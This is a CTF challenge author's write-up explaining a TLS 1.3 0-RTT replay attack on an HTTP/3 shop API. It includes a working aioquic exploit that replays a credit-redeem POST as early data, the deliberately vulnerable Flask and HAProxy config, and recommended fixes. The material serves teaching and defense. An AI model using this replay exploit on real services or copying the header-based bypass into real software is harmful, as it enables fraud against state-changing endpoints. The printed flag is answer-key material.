8 Jan 2026
0RTT attack
Author: Per0x1d3
Category: Web
Flag:
flag{0rtt_replay_attacks_4r3_c00l}
I wrote this challenge for Backdoor CTF 2025. The public hint was short: the shop used HTTP/3. Players got an API spec and a headless service. No frontend, no browser puzzle, just a shop API over QUIC.
The goal was simple enough: register, collect credits, buy the flag. A redeem gives 100 credits and the flag costs 500. Normal API usage only lets you redeem once.
The part I wanted people to find was not in the JSON. It was in how the request reached the app.
The API
The API was intentionally small:
POST /registergives you auser_idPOST /api/redeemwith{"user_id":"..."}adds 100 creditsPOST /api/buywith{"user_id":"...","item":"flag"}buys the flagGET /flag?user_id=...returns the flag after the buy
Most of the early pain was just tooling. The service is HTTP/3, so it
is QUIC over UDP. A normal curl build often does not
help.
This was enough to talk to it locally:
docker run --rm --network host ymuski/curl-http3 \
curl --http3 -k -s -H 'content-type: application/json' \
-d '{}' -X POST "https://localhost:3424/register"
Once that worked, the API behaved like the handout said. Register worked. Redeem worked once. The second redeem did not.
The TLS Bit
HTTP/3 runs on QUIC, and QUIC uses TLS 1.3. That matters here because TLS 1.3 has session resumption and optional 0-RTT early data.
On a first connection, the client does a normal TLS handshake before application data is sent:
Client Server
ClientHello -------------------->
<---------------- ServerHello
<---------------- cert, Finished
Finished ----------------------->
HTTP/3 request =================>
At the end of that connection, the server can give the client a session ticket. The client stores it and uses it later to resume the session instead of doing the whole certificate negotiation again.
With normal resumption, the request still waits until the resumed handshake is ready:
Client Server
ClientHello + ticket ----------->
<---------------- ServerHello
HTTP/3 request =================>
That is faster, but it is still not the bug.
0-RTT
0-RTT is the interesting mode. With a valid ticket, the client can send early application data along with the resumed ClientHello.
Client Server
ClientHello + ticket ----------->
early HTTP/3 request ===========>
<---------------- ServerHello
<================ response
The server can process that request before the new handshake fully finishes.
That is useful for latency, but the tradeoff is replay risk. Early data is encrypted, but it is tied to the previous session ticket. If a server accepts the same early-data request again and does not have replay protection, a state-changing POST can run twice.
That is the mistake this challenge was built around.
I do not need to tamper with the JSON. I do not need to forge anything. I just need the server to accept the same redeem request again as early data.
What Replay Means Here
The normal request is boring:
POST /api/redeem
{"user_id":"abc-123"}
The server credits 100. If I can send the same body again as 0-RTT early data on a resumed QUIC connection, and the server does not reject the replay, the redeem handler runs again.
Five successful redeems gives 500 credits. Then /api/buy
works.
This is why 0-RTT is supposed to be used carefully. It is fine for safe operations. It is dangerous for "add money", "redeem coupon", "transfer", "buy", or anything else that changes state unless there is proper dedupe.
The Tooling Problem
curl --http3 can do HTTP/3, but I did not find it useful
for forcing this exact request out as early data. I used
aioquic because it exposes the bit I cared about:
wait_connected=Truemeans finish the handshake, then send the requestwait_connected=Falsemeans send immediately, which is what I need for 0-RTT
The server also has to allow 0-RTT. In this challenge, HAProxy was
configured with allow-0rtt on the QUIC bind.
Without that, the ticket may still resume the session, but the early data path will not land.
Where I Expected People To Notice It
First redeem:
{"balance":100}
Second redeem with a normal client:
{"error":"only one transfer huh!!"}
The word transfer was a hint. It points away from a
normal shop bug and toward "state-changing request". Combine that with
HTTP/3 and the flag format, and the path is session tickets plus
early-data replay.
A plain HTTP/3 client leaves you stuck at 100. The exploit needs a ticket, then the redeem request has to be sent before the resumed connection is fully established.
Exploit Plan
The flow I used:
- Register and keep the session ticket.
- Redeem once normally.
- Replay the same redeem body as 0-RTT a few times.
- Buy the flag.
- Read
/flag.
Setup:
pip install aioquic
python3 exp.py
Here is the exploit I used. It is not pretty, but it does the job.
import asyncio
import json
import ssl
from typing import Optional
try:
from aioquic.asyncio import connect
except ImportError:
from aioquic.asyncio.client import connect
from aioquic.asyncio import QuicConnectionProtocol
from aioquic.h3.connection import H3_ALPN, H3Connection
from aioquic.h3.events import DataReceived, H3Event, HeadersReceived
from aioquic.quic.configuration import QuicConfiguration
from aioquic.quic.events import ProtocolNegotiated, QuicEvent
from aioquic.tls import SessionTicket
HOST = "localhost"
PORT = 3424
class Tickets:
def __init__(self):
self.t: Optional[SessionTicket] = None
def add(self, ticket: SessionTicket):
self.t = ticket
def get(self, label: bytes):
return self.t
class H3(QuicConnectionProtocol):
def __init__(self, *a, **kw):
super().__init__(*a, **kw)
self.h3 = H3Connection(self._quic)
self.sid = None
self.status = 0
self.body = bytearray()
self.done = asyncio.Event()
def quic_event_received(self, ev: QuicEvent):
if isinstance(ev, ProtocolNegotiated):
self.h3 = H3Connection(self._quic)
for h3ev in self.h3.handle_event(ev):
self.http_event_received(h3ev)
def http_event_received(self, ev: H3Event):
if self.sid is None:
return
if isinstance(ev, HeadersReceived) and ev.stream_id == self.sid:
for k, v in ev.headers:
if k == b":status":
self.status = int(v.decode())
if isinstance(ev, DataReceived) and ev.stream_id == self.sid:
self.body.extend(ev.data)
if ev.stream_ended:
self.done.set()
def send(self, method, path, body=b"", headers=None):
self.sid = self._quic.get_next_available_stream_id(False)
auth = HOST if PORT in (80, 443) else f"{HOST}:{PORT}"
hdrs = [
(b":method", method.encode()),
(b":scheme", b"https"),
(b":authority", auth.encode()),
(b":path", path.encode()),
]
if headers:
hdrs += headers
self.h3.send_headers(self.sid, hdrs)
self.h3.send_data(self.sid, body, end_stream=True)
self.transmit()
async def req(self, method, path, body=b"", headers=None):
self.send(method, path, body, headers)
await self.done.wait()
return self.status, bytes(self.body)
async def h3req(tickets, wait, method, path, body=b"", headers=None, sleep=0):
cfg = QuicConfiguration(is_client=True, alpn_protocols=H3_ALPN)
cfg.verify_mode = ssl.CERT_NONE
cfg.server_name = HOST
cfg.session_ticket = tickets.t
async with connect(
HOST,
PORT,
configuration=cfg,
create_protocol=H3,
wait_connected=wait,
session_ticket_handler=tickets.add,
) as proto:
status, resp = await proto.req(method, path, body, headers)
if sleep:
await asyncio.sleep(sleep)
return status, resp
async def main():
tickets = Tickets()
json_hdr = [(b"content-type", b"application/json")]
_, body = await h3req(tickets, True, "POST", "/register", b"{}", json_hdr, sleep=0.5)
uid = json.loads(body.decode())["user_id"]
print("uid:", uid)
if tickets.t is None:
for _ in range(5):
await h3req(tickets, True, "GET", "/", sleep=0.7)
if tickets.t:
break
redeem = json.dumps({"user_id": uid}).encode()
await h3req(tickets, True, "POST", "/api/redeem", redeem, json_hdr)
for i in range(10):
_, body = await h3req(tickets, False, "POST", "/api/redeem", redeem, json_hdr)
try:
obj = json.loads(body.decode())
except Exception:
print("replay", i + 1, body[:80])
continue
print("replay", i + 1, "balance=", obj.get("balance"))
if obj.get("can_afford_flag"):
break
buy = json.dumps({"user_id": uid, "item": "flag"}).encode()
await h3req(tickets, True, "POST", "/api/buy", buy, json_hdr)
_, body = await h3req(tickets, True, "GET", f"/flag?user_id={uid}")
print(body.decode())
if __name__ == "__main__":
asyncio.run(main())
The important line is not hidden:
await h3req(tickets, False, "POST", "/api/redeem", redeem, json_hdr)
That False becomes wait_connected=False, so
the POST can go out as early data.
Example output from a local run looked like this:
$ python3 exp.py
uid: 8e4b3d9b-...
replay 1 balance= 200
replay 2 balance= 300
replay 3 balance= 400
replay 4 balance= 500
flag{0rtt_replay_attacks_4r3_c00l}
What I Broke On Purpose
The challenge stack was HAProxy 3.0 in front of Flask and Redis. HAProxy terminated QUIC and had 0-RTT enabled.
The app had a one-time redeem check, but it skipped that check when it believed the request was early data:
is_early = request.headers.get("Early-Data") == "1"
if not is_early and redeem_count >= 1:
return {"error": "only one transfer huh!!"}, 400
That is already a bad idea. Then HAProxy made it worse:
http-request set-header Early-Data 1 if { ssl_fc_is_resumed } { path -m beg /api/redeem }
ssl_fc_is_resumed means the TLS session resumed. It does
not mean "this request is safe to process twice". Even if the header
only meant real early data, using it to skip a business rule would still
be wrong.
The fix is boring, which is usually a good sign:
- do not allow 0-RTT for state-changing endpoints
- make redeem idempotent with a nonce or server-side dedupe
- do not trust proxy/TLS metadata to bypass application rules
- treat early data as replayable by default
Closing Notes
The bug is small once you see it. The hard part is usually realizing that the transport layer can change how a normal-looking POST behaves.
I like this kind of web challenge because the endpoint is not hiding much. The interesting part is between the client and the app, in the place people skip when they only read routes and JSON handlers.
Further reading: